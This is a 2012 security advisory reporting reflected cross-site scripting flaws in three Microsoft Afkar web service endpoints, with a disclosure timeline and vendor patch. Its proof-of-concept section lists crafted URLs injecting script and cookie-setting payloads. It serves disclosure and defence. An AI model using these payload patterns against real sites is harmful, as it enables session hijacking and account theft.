Microsoft Afkar Web Service - Cross Site Vulnerabilities

Document Title:
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Microsoft Afkar Web Service - Cross Site Vulnerabilities


References (Source):
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http://www.vulnerability-lab.com/get_content.php?id=4797

MSRC ID: 12328nj


Release Date:
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2012-04-13


Vulnerability Laboratory ID (VL-ID):
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479


Common Vulnerability Scoring System:
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2.2


Product & Service Introduction:
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Afkar is an Arabic word that means “ideas”. Microsoft Afkar gives Arabic users from all over the world the chance to play
with cool new tools and ideas coming out of Cairo Microsoft Innovation Lab. 

(Copy of the Vendor Homepage: http://afkar.microsoft.com )



Abstract Advisory Information:
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A Vulnerability Laboratory Researcher Team discovered multiple non-persistent Web Vulnerabilities in Microsoft Afkar Web Service.


Vulnerability Disclosure Timeline:
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2012-03-24:	Vendor Notification
2012-03-26:	Vendor Response/Feedback
2012-04-08:	Vendor Fix/Patch 
2012-04-14:	Public or Non-Public Disclosure


Discovery Status:
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Published


Exploitation Technique:
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Remote


Severity Level:
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Low


Technical Details & Description:
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Multiple client side cross site scripting vulnerabilities are detected on Microsofts Afkar Service Website.
The vulnerability allows an attacker (remote) to hijack customer/moderator/admin sessions with medium required user inter 
action. Successful exploitation can result in account steal or client side context manipulation when processing affected module
application requests.

Vulnerable Module(s): 
						[+] autocompleterservice
						[+] transliterateservice
						[+] getprayers


Proof of Concept (PoC):
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The vulnerabilities cna be exploited by remote attacker with medium required user inter aciton. For demonstration or reproduce ...


http://afkar.microsoft.com:80/autocompleteservice/services/autocompleterservice.svc/autocomplete?languageName=
Arabic&query=1<body+onload=alert("vlabs")>&count=5&callback=Activate&rosterIndex=0&guid=noguidyet


http://afkar.microsoft.com:80/webmarenservice/services/transliterateservice.svc/transliterate?languageName=
Arabic&query=a&count=5&callback=Activate&rosterIndex=1&guid=<meta+http-equiv='Set-cookie'+content='cookiename=
cookievalue'>&[email protected]&[email protected]


http://afkar.microsoft.com/answers/getprayers?q=1'+style='background:url(JaVaScRiPt:alert(/vulnerable/))'+invalidparam='


Security Risk:
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The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+).


Credits & Authors:
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Vulnerability Research Laboratory - Mohd. Shadab Siddiqui  (gr4yf0x)



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